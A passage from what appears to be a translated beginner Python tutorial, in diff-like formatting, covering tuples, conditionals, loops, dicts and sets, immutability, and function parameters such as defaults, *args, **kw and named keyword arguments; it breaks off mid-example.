+The tuple trap: When you define a tuple, the elements of the tuple must be identified at the time of definition, e.g.
+>>> t = (1, 2)
+>>> t
+(1, 2)
+
+To define an empty tuples, you can write ()
as follows:
>>> t = ()
+>>> t
+()
+
+However, to define a tuples with only 1 element, if you define it like this.
+>>> t = (1)
+>>> t
+1
+
+It's not the tuple that is defined, it's the number 1
! This is because the parentheses ()
can represent both tuple and parentheses in a mathematical formula, which creates ambiguity, so Python specifies that in this case, the calculation is done by parentheses, and the result is naturally 1
.
Therefore, tuples with only 1 element must be defined with a comma ,
to disambiguate.
>>> t = (1,)
+>>> t
+(1,)
+
+Python also adds a comma ,
when displaying tuples with only 1 element, so that you don't misinterpret them as parentheses in the mathematical sense.
Finally, look at a "mutable" tuples.
+>>> t = ('a', 'b', ['A', 'B'])
+>>> t[2][0] = 'X'
+>>> t[2][1] = 'Y'
+>>> t
+('a', 'b', ['X', 'Y'])
+
+This tuple is defined with 3 elements, 'a'
, 'b'
and a list. How come it changed later?
Don't worry, let's first look at the definition of the tuples contain three elements: a'',
b'' and a list.
When we modify the elements 'A'
and 'B'
of the list to 'X'
and 'Y'
, the tuples become:
On the surface, the elements of the tuples do change, but in fact, it is not the elements of the tuples that change, but the elements of the lists. tuples do not change the lists they point to in the beginning to other lists, so the so-called "unchanging" of tuples means that each element of the tuples points to the same list forever. The tuple's so-called "invariant" means that each element of the tuple points to the same element forever. That is, if you point to 'a'', you cannot change it to point to
'b'', and if you point to a list, you cannot change it to point to another object, but the list itself is mutable!
After understanding the "pointing to the same", how to create a tuple whose content also remains the same? Then we must ensure that each element of the tuple itself can not change.
+lists and tuples are Python's built-in ordered collections, one mutable and one immutable. Choose to use them as needed.
+The computer can do many automated tasks because it can make its own conditional judgments.
+For example, entering the user's age and printing different things depending on the age is implemented in a Python program with the if
statement.
age = 20
+if age >= 18:
+ print('your age is', age)
+ print('adult')
+
+According to Python's indentation rules, if the if
statement is judged to be True
, the two lines of the indented print statement are executed, otherwise, nothing is done.
You can also add an else
statement to if
, meaning that if if
is judged to be False
, don't execute the if
content and go ahead and execute the else
.
age = 3
+if age >= 18:
+ print('your age is', age)
+ print('adult')
+else:
+ print('your age is', age)
+ print('teenager')
+
+Be careful not to underwrite the colon :
.
Of course the above judgement is very rough, it is perfectly possible to make a more detailed judgement with elif
:
age = 3
+if age >= 18:
+ print('adult')
+elif age >= 6:
+ print('teenager')
+else:
+ print('kid')
+
+elif
is short for else if
, and it is perfectly possible to have more than one elif
, so the full form of the if
statement is:
if <条件判断1>:
+ <执行1>
+elif <条件判断2>:
+ <执行2>
+elif <条件判断3>:
+ <执行3>
+else:
+ <执行4>
+
+The execution of the if
statement has a feature that it judges from top to bottom. If True
is made on a certain judgment, after executing the statement corresponding to that judgment, the remaining elif
and else
are ignored. So, please test and explain why the following program prints teenager
.
age = 20
+if age >= 6:
+ print('teenager')
+elif age >= 18:
+ print('adult')
+else:
+ print('kid')
+
+The if
judgment condition can also be abbreviated, for example by writing.
if x:
+ print('True')
+
+As long as x
is a non-zero value, a non-empty string, a non-empty list, etc., it is judged to be True
, otherwise it is False
.
Finally, let's look at a problematic conditional judgment. Many students will use input()
to read the user's input, so that they can enter it themselves and the program runs more interestingly: input()
.
birth = input('birth: ')
+if birth < 2000:
+ print('00前')
+else:
+ print('00后')
+
+Entering 1982
resulted in the following error.
Traceback (most recent call last):
+ File "<stdin>", line 1, in <module>
+TypeError: unorderable types: str() > int()
+
+This is because the data type returned by input()
is str
, which cannot be compared directly with an integer and must first be converted from str
to an integer. Python provides the int()
function to do this.
s = input('birth: ')
+birth = int(s)
+if birth < 2000:
+ print('00前')
+else:
+ print('00后')
+
+Run it again and you will get the correct result. But what if you type abc
? Again, you will get an error message.
Traceback (most recent call last):
+ File "<stdin>", line 1, in <module>
+ValueError: invalid literal for int() with base 10: 'abc'
+
+It turns out that the int()
function reports an error when it finds a string that is not a legal number, and the program exits.
How do you check for and catch program runtime errors? We'll talk about errors and debugging later.
+Conditional judgments allow the computer to make its own choices, Python's if... .elif... ...else is very flexible.
+Conditional judgments match from the top down, executing the corresponding block when the condition is met, and subsequent elifs and else's are no longer executed.
+ +To calculate 1+2+3, we can simply write the expression.
+>>> 1 + 2 + 3
+6
+
+To calculate 1+2+3+... +10, you can barely write it.
+However, to calculate 1+2+3+... +10,000, it's impossible to write the expression directly.
+In order for the computer to compute thousands of iterations, we need loop statements.
+Python has two kinds of loops, a for... .in loops that iterate through each element of a list or tuple in turn, see the example.
+names = ['Michael', 'Bob', 'Tracy']
+for name in names:
+ print(name)
+
+Executing this code will print each element of names
in turn.
Michael
+Bob
+Tracy
+
+So the for x in ...
loop is a statement that substitutes each element into the variable x
and then executes the indented block.
Another example is if we want to calculate the sum of integers from 1 to 10, we can use a sum
variable to do the accumulation.
sum = 0
+for x in [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]:
+ sum = sum + x
+print(sum)
+
+If you want to calculate the sum of integers from 1 to 100, it is a bit difficult to write from 1 to 100. Fortunately, Python provides a range()
function that can generate a sequence of integers, which can be converted to a list by the list()
function. for example, the sequence generated by range(5)
is a sequence of integers less than 5 starting from 0.
>>> list(range(5))
+[0, 1, 2, 3, 4]
+
+range(101)
will generate a sequence of integers from 0-100, calculated as follows.
# -*- coding: utf-8 -*-
+sum = 0
+for x in range(101):
+ sum = sum + x
+print(sum)
+
+Please run the above code yourself to see if the result is the 5050 that Gauss students mentally calculated back then.
+The second type of loop is the while loop, which keeps looping as long as the conditions are met, and exits the loop when the conditions are not met. For example, if we want to calculate the sum of all odd numbers within 100, we can use a while loop to do the following.
+sum = 0
+n = 99
+while n > 0:
+ sum = sum + n
+ n = n - 2
+print(sum)
+
+Inside the loop, the variable n
keeps decreasing itself until it becomes -1
, when the while condition is no longer met and the loop exits.
In a loop, the break
statement can exit the loop early. For example, to have looped to print the numbers 1 to 100.
n = 1
+while n <= 100:
+ print(n)
+ n = n + 1
+print('END')
+
+The code above prints out 1 to 100.
+To end the loop early, you can use the break
statement.
n = 1
+while n <= 100:
+ if n > 10: # When n = 11, the condition is met and the break statement is executed
+ break # The break statement will end the current loop
+ print(n)
+ n = n + 1
+print('END')
+
+As you can see from the above code, after printing out 1~10, END
is printed immediately afterwards and the program ends.
It can be seen that the function of break
is to end the loop early.
During the loop, you can also skip the current loop and start the next one directly with the continue
statement.
n = 0
+while n < 10:
+ n = n + 1
+ print(n)
+
+The above program prints 1 to 10. However, if we want to print only odd numbers, we can skip certain loops with the continue
statement.
n = 0
+while n < 10:
+ n = n + 1
+ if n % 2 == 0: # If n is an even number, execute the continue statement
+ continue # The continue statement will continue directly to the next loop, and the subsequent print() statement will not be executed
+ print(n)
+
+Executing the above code, you can see that it no longer prints 1 to 10, but 1, 3, 5, 7, and 9.
+You can see that the purpose of continue
is to end the current loop early and start the next one directly.
Loops are an effective way to get the computer to do repetitive tasks.
+The break
statement can exit the loop directly during the loop, while the continue
statement can end the current round of loops early and start the next round directly. Both of these statements usually must be used in conjunction with the if
statement.
Be especially careful not to abuse the break
and continue
statements. break
and continue
can cause the code execution logic to bifurcate too much and be prone to errors. Most loops do not require the use of break
and continue
statements, and both of the above examples can be done by rewriting the loop condition or modifying the loop logic to remove the break
and continue
statements.
In some cases, if the code is written in a problematic way, the program will fall into a "dead loop", that is, a loop that goes on forever. In this case, you can use Ctrl+C
to exit the program or force the Python process to end.
Please try to write a dead loop program.
+Python has built-in support for dictionaries: dict, also known as dictionary or map in other languages, uses key-value storage and is extremely fast to find.
+For example, suppose you want to find the corresponding grades based on the names of your classmates, and if you implement it with lists, you need two lists.
+names = ['Michael', 'Bob', 'Tracy']
+scores = [95, 75, 85]
+
+Given a name, to find the corresponding score, you have to find the corresponding position in names and then take out the corresponding score from scores, the longer the list, the longer it takes.
+If we use a dict, we only need a "name" - "score" comparison table, and we can find the scores according to the names directly, no matter how big the table is, the search speed will not be slow. Write a dict in Python as follows.
+>>> d = {'Michael': 95, 'Bob': 75, 'Tracy': 85}
+>>> d['Michael']
+95
+
+Why is dict lookup so fast? Because the principle of dict implementation is the same as looking up a dictionary. Suppose the dictionary contains 10,000 Chinese characters, and we want to look up a certain word, one way is to turn the dictionary backward from the first page until we find the word we want, this method is the method of finding elements in the list, the larger the list is, the slower the search is.
+The second way is to look up the page number corresponding to the word in the index table of the dictionary (e.g., the part number table), and then turn directly to that page and find the word. No matter which word you are looking for, this search is very fast and does not slow down as the size of the dictionary increases.
+Given a name, such as 'Michael'
, dict can internally calculate the "page number" of Michael
, which is the memory address where the number 95
is stored, and take it out directly, so it is very fast.
As you can guess, this key-value storage method, when you put it in, you must calculate the storage location of the value according to the key, so that when you take it, you can get the value directly according to the key.
+The method of putting data into dict, in addition to the initialization specified, can also be put in by key.
+>>> d['Adam'] = 67
+>>> d['Adam']
+67
+
+Since a key can only correspond to a value, putting a value to a key multiple times will flush out the previous value.
+>>> d['Jack'] = 90
+>>> d['Jack']
+90
+>>> d['Jack'] = 88
+>>> d['Jack']
+88
+
+If the key does not exist, dict will report an error.
+>>> d['Thomas']
+Traceback (most recent call last):
+ File "<stdin>", line 1, in <module>
+KeyError: 'Thomas'
+
+To avoid the error that the key does not exist, there are two ways, one is to determine whether the key exists by in
.
>>> 'Thomas' in d
+False
+
+The second is through the get()
method provided by dict, which can return None
if the key does not exist, or the value specified by itself.
>>> d.get('Thomas')
+>>> d.get('Thomas', -1)
+-1
+
+Note: Python's interactive environment does not show the result when None
is returned.
To delete a key, use the pop(key)
method, and the corresponding value will also be deleted from the dict.
>>> d.pop('Bob')
+75
+>>> d
+{'Michael': 95, 'Tracy': 85}
+
+Be sure to note that the order of storage inside a dict has no relation to the order in which the keys are placed.
+Compared with list, dict has the following features.
+On the contrary, list has the following features.
+So, dict is a way to trade space for time.
+dict can be used in many places where high-speed lookup is needed, and it is almost ubiquitous in Python code. It is very important to use dict correctly, and the first thing to keep in mind is that the key of dict must be immutable object.
+This is because dict calculates the storage location of value based on key, and if each time the same key is calculated the result is different, then the dict is completely confused internally. This algorithm for calculating the location by key is called a hash algorithm (Hash).
+To ensure the correctness of the hash, the object that is the key cannot change. In Python, strings, integers, etc. are immutable and can therefore be safely used as keys, whereas lists are mutable and cannot be used as keys.
+>>> key = [1, 2, 3]
+>>> d[key] = 'a list'
+Traceback (most recent call last):
+ File "<stdin>", line 1, in <module>
+TypeError: unhashable type: 'list'
+
+A set is similar to a dict in that it is also a set of keys, but does not store values. since keys cannot be duplicated, there are no duplicate keys in a set.
+To create a set, a list is provided as the input set.
+>>> s = set([1, 2, 3])
+>>> s
+{1, 2, 3}
+
+Note that the passed parameter [1, 2, 3]
is a list, and the displayed {1, 2, 3}
just tells you that there are 3 elements inside this set, 1, 2, 3, and the displayed order does not indicate that the set is ordered.
Duplicate elements are automatically filtered in the set.
+>>> s = set([1, 1, 2, 2, 3, 3])
+>>> s
+{1, 2, 3}
+
+Elements can be added to the set by the add(key)
method, which can be repeated, but will not have the effect of.
>>> s.add(4)
+>>> s
+{1, 2, 3, 4}
+>>> s.add(4)
+>>> s
+{1, 2, 3, 4}
+
+Elements can be removed by the remove(key)
method.
>>> s.remove(4)
+>>> s
+{1, 2, 3}
+
+set can be seen as a mathematically unordered and non-repetitive set of elements, so that two sets can be intersected, merged, etc. in the mathematical sense.
+>>> s1 = set([1, 2, 3])
+>>> s2 = set([2, 3, 4])
+>>> s1 & s2
+{2, 3}
+>>> s1 | s2
+{1, 2, 3, 4}
+
+The only difference between set and dict is that there is no corresponding value stored, but the principle of set is the same as dict, so it is also not possible to put mutable objects into it, because there is no way to determine whether two mutable objects are equal, and there is no guarantee that there will be "no duplicate elements" inside the set. Try putting a list into set and see if you get an error.
+As we said above, str is an immutable object, while list is a mutable object.
+For mutable objects, such as list, the contents of list will change if list is manipulated, for example.
+>>> a = ['c', 'b', 'a']
+>>> a.sort()
+>>> a
+['a', 'b', 'c']
+
+And for immutable objects, such as str, what about operations on str.
+>>> a = 'abc'
+>>> a.replace('a', 'A')
+'Abc'
+>>> a
+'abc'
+
+Although the string has a replace()
method, and it does turn out to be 'Abc'
, the variable a
still ends up being 'abc'
, so how should we understand it?
Let's change the code to the following.
+>>> a = 'abc'
+>>> b = a.replace('a', 'A')
+>>> b
+'Abc'
+>>> a
+'abc'
+
+The thing to always keep in mind is that a
is the variable, and 'abc'
is the string object! There are times when we often say that the content of the object a
is 'abc'
, but what we really mean is that a
itself is a variable, and it is the content of the object it points to that is 'abc'
.
┌───┐ ┌───────┐
+│ a │─────────────────>│ 'abc' │
+└───┘ └───────┘
+
+When we call a.replace('a', 'A')
, the call to method replace
actually acts on the string object 'abc'
, and the method, despite its name replace
, does not change the content of the string 'abc'
. Instead, the replace
method creates a new string 'Abc'
and returns it, and if we use the variable b
to point to that new string, it is easy to understand that the variable a
still points to the original string 'abc'
, but the variable b
points to the new string 'Abc'
.
┌───┐ ┌───────┐
+│ a │─────────────────>│ 'abc' │
+└───┘ └───────┘
+┌───┐ ┌───────┐
+│ b │─────────────────>│ 'Abc' │
+└───┘ └───────┘
+
+So, for immutable objects, calling any method on the object itself will not change the content of the object itself. Instead, these methods create new objects and return them, thus ensuring that the immutable object itself is always immutable.
+Using a key-value storage structure for dict is very useful in Python. It is important to choose immutable objects as keys, and the most common key is a string.
+While tuple is an immutable object, try putting (1, 2, 3)
and (1, [2, 3])
into a dict or set and interpret the results.
++https://www.liaoxuefeng.com/wiki/1016959663602400/1017063413904832
+https://docs.python.org/3/tutorial/index.html
+
We know that the formula for calculating the area of a circle is
+S = πr^2
+When we know the value of radius r
, we can calculate the area according to the formula. Suppose we need to calculate the area of 3 circles of different sizes.
r1 = 12.34
+r2 = 9.08
+r3 = 73.1
+s1 = 3.14 * r1 * r1
+s2 = 3.14 * r2 * r2
+s3 = 3.14 * r3 * r3
+
+When there is a regular repetition of the code, you need to beware that writing 3.14 * x * x
each time is not only troublesome, but, if you want to change 3.14
to 3.14159265359
, you have to replace it all.
With functions, instead of writing s = 3.14 * x * x
every time, we write the more meaningful function call s = area_of_circle(x)
, and the function area_of_circle
itself only needs to be written once, so it can be called multiple times.
Basically all high-level languages support functions, and Python is no exception. not only can Python be very flexible in defining functions, but it has many useful functions built in itself that can be called directly.
+Abstraction is a very common concept in mathematics. As an example.
+Calculating the sum of a series, e.g., 1 + 2 + 3 + ... + 100
, is very inconvenient to write, so mathematicians invented the summation symbol ∑, which can be written as 1 + 2 + 3 + ... + 100
is written as.
This abstract notation is very powerful because we see that ∑ can be understood as a summation, rather than reducing to a low-level addition operation.
+Moreover, this abstract notation is scalable, e.g.
+ +Reduced to addition it becomes.
+(1 x 1 + 1) + (2 x 2 + 1) + (3 x 3 + 1) + ... + (100 x 100 + 1)
+As you can see, abstraction allows us to think directly at a higher level, without caring about the underlying concrete computational process.
+Writing computer programs is the same, and functions are one of the most basic ways of abstracting code.
+Python has a lot of useful functions built in that we can call directly.
+To call a function, you need to know the name of the function and its arguments, for example, the function abs
that finds the absolute value has only one argument. The documentation can be viewed directly from Python's official website at
http://docs.python.org/3/library/functions.html#abs
+You can also view the help information for the abs
function at the interactive command line via help(abs)
.
To invoke the abs
function.
>>> abs(100)
+100
+>>> abs(-20)
+20
+>>> abs(12.34)
+12.34
+
+Calling a function with the wrong number of arguments passed in will report a TypeError
error, and Python will tell you explicitly that abs()
has and only has 1 argument, but gives two.
>>> abs(1, 2)
+Traceback (most recent call last):
+ File "<stdin>", line 1, in <module>
+TypeError: abs() takes exactly one argument (2 given)
+
+If the number of arguments passed in is correct, but the argument type is not accepted by the function, a TypeError
error is also reported and the error message is given: str
is the wrong argument type.
>>> abs('a')
+Traceback (most recent call last):
+ File "<stdin>", line 1, in <module>
+TypeError: bad operand type for abs(): 'str'
+
+And the max
function max()
can take any number of arguments and return the largest one.
>>> max(1, 2)
+2
+>>> max(2, 3, 1, -5)
+3
+
+Python's built-in common functions also include data type conversion functions, such as the int()
function that converts other data types to integers:
>>> int('123')
+123
+>>> int(12.34)
+12
+>>> float('12.34')
+12.34
+>>> str(1.23)
+'1.23'
+>>> str(100)
+'100'
+>>> bool(1)
+True
+>>> bool('')
+False
+
+A function name is actually a reference to a function object, and it is possible to assign the function name to a variable, which is equivalent to giving the function an "alias".
+>>> a = abs # Variable a points to the abs function
+>>> a(-1) # So you can also call the abs function from a
+1
+
+In Python, to define a function you use the def
statement, write the function name, the parentheses, the arguments in the parentheses, and the colon :
in that order, then, write the function body in an indented block, and the return value of the function is returned with the return
statement.
Let's take a custom my_abs
function for absolute values as an example.
# -*- coding: utf-8 -*-
+def my_abs(x):
+ if x >= 0:
+ return x
+ else:
+ return -x
+
+print(my_abs(-99))
+
+Please test it yourself and call my_abs
to see if the returned result is correct.
Note that when the statements inside the function body are executed, once they reach return
, the function is executed and the result is returned. Thus, very complex logic can be implemented inside functions through conditional judgments and loops.
If there is no return
statement, the function will also return the result when it finishes executing, but the result will be None
. return None
can be abbreviated to return
.
When defining functions in the Python interactive environment, note that Python will show a ...
prompt. When you finish defining the function you need to press enter twice to get back to the >>>
prompt.
┌────────────────────────────────────────────────────────┐
+│Command Prompt - python - □ x │
+├────────────────────────────────────────────────────────┤
+│>>> def my_abs(x): │
+│... if x >= 0: │
+│... return x │
+│... else: │
+│... return -x │
+│... │
+│>>> my_abs(-9) │
+│9 │
+│>>> _ │
+│ │
+│ │
+└────────────────────────────────────────────────────────┘
+
+If you have already saved the function definition of my_abs()
as an abstest.py
file, then you can start the Python interpreter in the current directory of that file and import the my_abs()
function with from abstest import my_abs
, noting that abstest
is the file name (without the . py
extension).
┌────────────────────────────────────────────────────────┐
+│Command Prompt - python - □ x │
+├────────────────────────────────────────────────────────┤
+│>>> from abstest import my_abs │
+│>>> my_abs(-9) │
+│9 │
+│>>> _ │
+│ │
+│ │
+│ │
+│ │
+│ │
+│ │
+│ │
+└────────────────────────────────────────────────────────┘
+
+The usage of import
is described in detail in the subsequent section Modules.
If you want to define an empty function that doesn't do anything, you can use the pass
statement.
def nop():
+ pass
+
+The pass
statement doesn't do anything, so what's the point? Actually pass
can be used as a placeholder, for example, if you haven't figured out how to write the code for a function yet, you can put a pass
first so that the code can run.
pass
can also be used in other statements, such as.
if age >= 18:
+ pass
+
+Missing pass
, the code will run with syntax errors.
When calling a function with the wrong number of arguments, the Python interpreter will automatically check for it and throw TypeError
:
>>> my_abs(1, 2)
+Traceback (most recent call last):
+ File "<stdin>", line 1, in <module>
+TypeError: my_abs() takes 1 positional argument but 2 were given
+
+But if the argument type is wrong, the Python interpreter can't check it for us. Try the difference between my_abs
and the built-in function abs
.
>>> my_abs('A')
+Traceback (most recent call last):
+ File "<stdin>", line 1, in <module>
+ File "<stdin>", line 2, in my_abs
+TypeError: unorderable types: str() >= int()
+>>> abs('A')
+Traceback (most recent call last):
+ File "<stdin>", line 1, in <module>
+TypeError: bad operand type for abs(): 'str'
+
+The built-in function abs
checks for parameter errors when improper parameters are passed in, while the my_abs
we defined has no parameter checking and will cause an error in the if
statement with a different error message than abs
. So, this function definition is not good enough.
Let's modify the definition of my_abs
to do an argument type check and allow only arguments of integer and floating point types. The data type check can be implemented with the built-in function isinstance()
.
def my_abs(x):
+ if not isinstance(x, (int, float)):
+ raise TypeError('bad operand type')
+ if x >= 0:
+ return x
+ else:
+ return -x
+
+With the addition of parameter checking, the function can throw an error if the wrong type of parameter is passed in.
+>>> my_abs('A')
+Traceback (most recent call last):
+ File "<stdin>", line 1, in <module>
+ File "<stdin>", line 3, in my_abs
+TypeError: bad operand type
+
+Error and exception handling will be covered later.
+Can a function return more than one value? The answer is yes.
+For example, in a game where you often need to move from one point to another, given the coordinates, displacement and angle, you can calculate the new coordinates as follows.
+import math
+
+def move(x, y, step, angle=0):
+ nx = x + step * math.cos(angle)
+ ny = y - step * math.sin(angle)
+ return nx, ny
+
+The import math
statement indicates that the math
package is imported and allows subsequent code to reference the sin
, cos
and other functions in the math
package.
Then, we can get both the return values.
+>>> x, y = move(100, 100, 60, math.pi / 6)
+>>> print(x, y)
+151.96152422706632 70.0
+
+But in fact this is only an illusion, and the Python function still returns a single value:
+>>> r = move(100, 100, 60, math.pi / 6)
+>>> print(r)
+(151.96152422706632, 70.0)
+
+The original return value is a tuple! However, in syntax, returning a tuple can omit the parentheses, and multiple variables can receive a tuple at the same time, assigned to the corresponding value by position, so Python's function returns multiple values is actually returning a tuple, but it's easier to write.
+When defining a function, you need to determine the function name and the number of arguments.
+If necessary, you can first check the data types of the arguments.
+return
can be used inside the function body to return the result of the function at any time.
If the function is executed and there is no return
statement, it automatically returns None
.
The function can return multiple values at the same time, but it is actually a tuple.
+When defining a function, we name and locate the parameters and the interface definition of the function is complete. For the caller of the function, it's enough to know how to pass the right arguments and what value the function will return; the complex logic inside the function is encapsulated and the caller doesn't need to understand it.
+Python's function definitions are very simple, but very flexible. In addition to the normal definition of mandatory arguments, you can also use default, variable, and keyword arguments, making the function definition an interface that not only handles complex arguments, but also simplifies the caller's code.
+Let's start by writing a function that calculates x2:
+def power(x):
+ return x * x
+
+For the power(x)
function, the argument x
is a position parameter.
When we call the power
function, we must pass in one and only one parameter x
.
>>> power(5)
+25
+>>> power(15)
+225
+
+Now, what if we want to calculate x3? We can define another power3
function, but what if we want to calculate x4, x5 ......? We can't define an infinite number of functions.
It may have occurred to you that you can modify power(x)
to power(x, n)
to compute xn, and to do so, say.
def power(x, n):
+ s = 1
+ while n > 0:
+ n = n - 1
+ s = s * x
+ return s
+
+For this modified power(x, n)
function, any nth power can be computed as follows.
>>> power(5, 2)
+25
+>>> power(5, 3)
+125
+
+The modified power(x, n)
function has two parameters: x
and n
, both of which are positional parameters. When the function is called, the two values passed in are assigned to the parameters x
and n
in order of position.
The new power(x, n)
function definition is fine, however, the old calling code fails because we added an argument, causing the old code to fail to call properly because of a missing argument: the
>>> power(5)
+Traceback (most recent call last):
+ File "<stdin>", line 1, in <module>
+TypeError: power() missing 1 required positional argument: 'n'
+
+Python's error message is clear: the call to the function power()
is missing a positional argument n
.
This is where the default parameter comes into play. Since we often calculate x2, it is perfectly acceptable to set the default value of the second argument, n, to 2.
+def power(x, n=2):
+ s = 1
+ while n > 0:
+ n = n - 1
+ s = s * x
+ return s
+
+Thus, when we call power(5)
, it is equivalent to calling power(5, 2)
.
>>> power(5)
+25
+>>> power(5, 2)
+25
+
+For other cases where n > 2
, n must be passed explicitly, such as power(5, 3)
.
As you can see from the above example, default parameters can simplify function calls. When setting default parameters, there are a few things to keep in mind.
+One is that the mandatory parameters come first and the default parameters come second, otherwise Python's interpreter will report an error (think about why the default parameters can't be placed in front of the mandatory parameters).
+Second, how to set the default parameters.
+When a function has more than one parameter, put the parameters that change a lot in front and the parameters that change a little in the back. The parameter with small changes can then be used as the default parameter.
+What are the benefits of using default parameters? The biggest benefit is that it reduces the difficulty of calling the function.
+For example, let's write a function to register a first grade student and pass in two parameters name
and gender
.
def enroll(name, gender):
+ print('name:', name)
+ print('gender:', gender)
+
+In this way, the enroll()
function is called with only two parameters passed in.
>>> enroll('Sarah', 'F')
+name: Sarah
+gender: F
+
+What if I want to continue passing in information such as age, city, etc.? This would make calling the function much more complicated.
+We can set age and city as default parameters.
+def enroll(name, gender, age=6, city='Beijing'):
+ print('name:', name)
+ print('gender:', gender)
+ print('age:', age)
+ print('city:', city)
+
+In this way, most students are not required to provide their age and city when registering, but only the two required parameters.
+>>> enroll('Sarah', 'F')
+name: Sarah
+gender: F
+age: 6
+city: Beijing
+
+Only students who do not match the default parameters will be required to provide additional information.
+enroll('Bob', 'M', 7)
+enroll('Adam', 'M', city='Tianjin')
+
+As you can see, the default arguments reduce the difficulty of function calls, and once more complex calls are needed, more arguments can be passed to achieve them. Whether it is a simple call or a complex call, the function only needs to define one.
+When there are multiple default parameters, the call can either provide the default parameters in order, such as calling enroll('Bob', 'M', 7)
, meaning that, in addition to the two parameters name
, gender
, the last 1 parameter is applied to the parameter age
, and the city
parameter, since it is not provided, still uses the default value.
It is also possible to provide partial default parameters out of order. When providing partial default parameters out of order, you need to put the parameter name on. For example, calling enroll('Adam', 'M', city='Tianjin')
means that the city
parameter uses the value passed in and the other default parameters continue to use the default values.
Default parameters are useful, but they can fall into a hole if not used properly. The default parameters have one of the biggest pits, as demonstrated below.
+First define a function, pass in a list, add an END
and then return.
def add_end(L=[]):
+ L.append('END')
+ return L
+
+When you call it normally, the result seems good:
+>>> add_end([1, 2, 3])
+[1, 2, 3, 'END']
+>>> add_end(['x', 'y', 'z'])
+['x', 'y', 'z', 'END']
+
+When you call with the default parameters, the result is also correct at first:
+>>> add_end()
+['END']
+
+However, when add_end()
is called again, the result is not correct:
>>> add_end()
+['END', 'END']
+>>> add_end()
+['END', 'END', 'END']
+
+Many beginners are puzzled by the fact that the default argument is []
, but the function seems to "remember" the list after adding 'END'
each time.
The reason for this is as follows.
+When a Python function is defined, the value of the default parameter L
is calculated, i.e. []
, because the default parameter L
is also a variable that points to the object []
, and each time the function is called, if the content of L
is changed, the content of the default parameter will change the next time it is called, and will no longer be the []
of the function when it is defined.
One thing to keep in mind when defining default parameters: they must point to invariant objects!
+To modify the above example, we can use the invariant object None
to implement.
def add_end(L=None):
+ if L is None:
+ L = []
+ L.append('END')
+ return L
+
+Now, no matter how many times it is called, there will be no problem:
+>>> add_end()
+['END']
+>>> add_end()
+['END']
+
+Why do we design invariant objects like str
and None
? Because once the invariant object is created, the data inside the object cannot be modified, which reduces the errors caused by modifying the data. In addition, because the object is invariant, there is no need to add locks to read the object simultaneously in a multitasking environment, and there is no problem reading it simultaneously at all. When we write a program, if we can design an invariant object, then try to design it as invariant object.
Variable parameters can also be defined in Python functions. As the name implies, a variable parameter is a variable number of arguments passed in, from 1, 2 to any number, and 0.
+Let's take a math problem as an example, given a set of numbers a, b, c ......, calculate a^2 + b^2 + c^2 + .......
+To define this function, we must determine the input parameters. Since the number of parameters is uncertain, we first think that we can pass a, b, c ...... as a list or a tuple, so that the function can be defined as follows.
+def calc(numbers):
+ sum = 0
+ for n in numbers:
+ sum = sum + n * n
+ return sum
+
+But to call it, a list or tuple needs to be assembled first:
+>>> calc([1, 2, 3])
+14
+>>> calc((1, 3, 5, 7))
+84
+
+If variable parameters are utilized, the way the function is called can be simplified as follows.
+>>> calc(1, 2, 3)
+14
+>>> calc(1, 3, 5, 7)
+84
+
+So, we change the parameters of the function to variable parameters.
+def calc(*numbers):
+ sum = 0
+ for n in numbers:
+ sum = sum + n * n
+ return sum
+
+Defining a variable parameter is simply a matter of adding a *
sign in front of the parameter compared to defining a list or tuple parameter. Inside the function, the argument numbers
is received as a tuple, so the function code remains exactly the same. However, the function can be called with any number of arguments, including 0 arguments.
>>> calc(1, 2)
+5
+>>> calc()
+0
+
+What if I already have a list or tuple and want to call a mutable parameter? This can be done.
+>>> nums = [1, 2, 3]
+>>> calc(nums[0], nums[1], nums[2])
+14
+
+The problem is that it's too cumbersome, so Python allows you to add a *
sign in front of a list or tuple and pass the elements of the list or tuple as mutable arguments.
>>> nums = [1, 2, 3]
+>>> calc(*nums)
+14
+
+*nums
means that all elements of the list nums
are passed in as mutable arguments. This writing style is quite useful and common.
Variable arguments allow you to pass in zero or any number of arguments, which are automatically assembled into a tuple when the function is called, while keyword arguments allow you to pass in zero or any number of arguments with parameter names, which are automatically assembled into a dict inside the function. see the example.
+def person(name, age, **kw):
+ print('name:', name, 'age:', age, 'other:', kw)
+
+The function person
accepts the keyword argument kw
in addition to the mandatory arguments name
and age
. When calling this function, only the mandatory parameters can be passed.
>>> person('Michael', 30)
+name: Michael age: 30 other: {}
+
+Any number of keyword parameters can also be passed in.
+>>> person('Bob', 35, city='Beijing')
+name: Bob age: 35 other: {'city': 'Beijing'}
+>>> person('Adam', 45, gender='M', job='Engineer')
+name: Adam age: 45 other: {'gender': 'M', 'job': 'Engineer'}
+
+What is the use of the keyword argument? It extends the function's functionality. For example, in the person
function, we are guaranteed to receive the two parameters name
and age
, but if the caller would like to provide more parameters, we can receive them as well. Imagine you are doing a user registration function and everything is optional except for the user name and age which are required, using keyword arguments to define this function will satisfy the registration requirement.
Similar to variable parameters, you can also assemble a dict first, and then, convert that dict to a keyword parameter to pass in.
+>>> extra = {'city': 'Beijing', 'job': 'Engineer'}
+>>> person('Jack', 24, city=extra['city'], job=extra['job'])
+name: Jack age: 24 other: {'city': 'Beijing', 'job': 'Engineer'}
+
+Of course, the above complex call can be written in a simplified way as follows.
+>>> extra = {'city': 'Beijing', 'job': 'Engineer'}
+>>> person('Jack', 24, **extra)
+name: Jack age: 24 other: {'city': 'Beijing', 'job': 'Engineer'}
+
+**extra
means that all key-values of the dict extra
are passed into the **kw
parameter of the function with keyword arguments, kw
will get a dict, note that the dict obtained by kw
is a copy of extra
, changes to kw
will not affect extra
outside the function.
For keyword arguments, the caller of a function can pass in any unrestricted keyword argument. As for exactly what is passed in, it needs to be checked inside the function via kw
.
Still using the person()
function as an example, we want to check for city
and job
parameters.
def person(name, age, **kw):
+ if 'city' in kw:
+ # With city parameter
+ pass
+ if 'job' in kw:
+ # With job parameter
+ pass
+ print('name:', name, 'age:', age, 'other:', kw)
+
+However, the caller can still pass in unrestricted keyword arguments.
+>>> person('Jack', 24, city='Beijing', addr='Chaoyang', zipcode=123456)
+
+If you want to restrict the names of the keyword arguments, you can use named keyword arguments, for example, to receive only city
and job
as keyword arguments. The functions defined in this way are as follows.
def person(name, age, *, city, job):
+ print(name, age, city, job)
+
+Unlike the keyword parameter **kw
, the named keyword parameter requires a special separator *
, and the parameters following *
are considered as named keyword parameters.
It is called as follows.
+>>> person('Jack', 24, city='Beijing', job='Engineer')
+Jack 24 Beijing Engineer
+
+If a function definition already has a variable argument, the named keyword argument that follows no longer needs a special separator *
.
def person(name, age, *args, city, job):
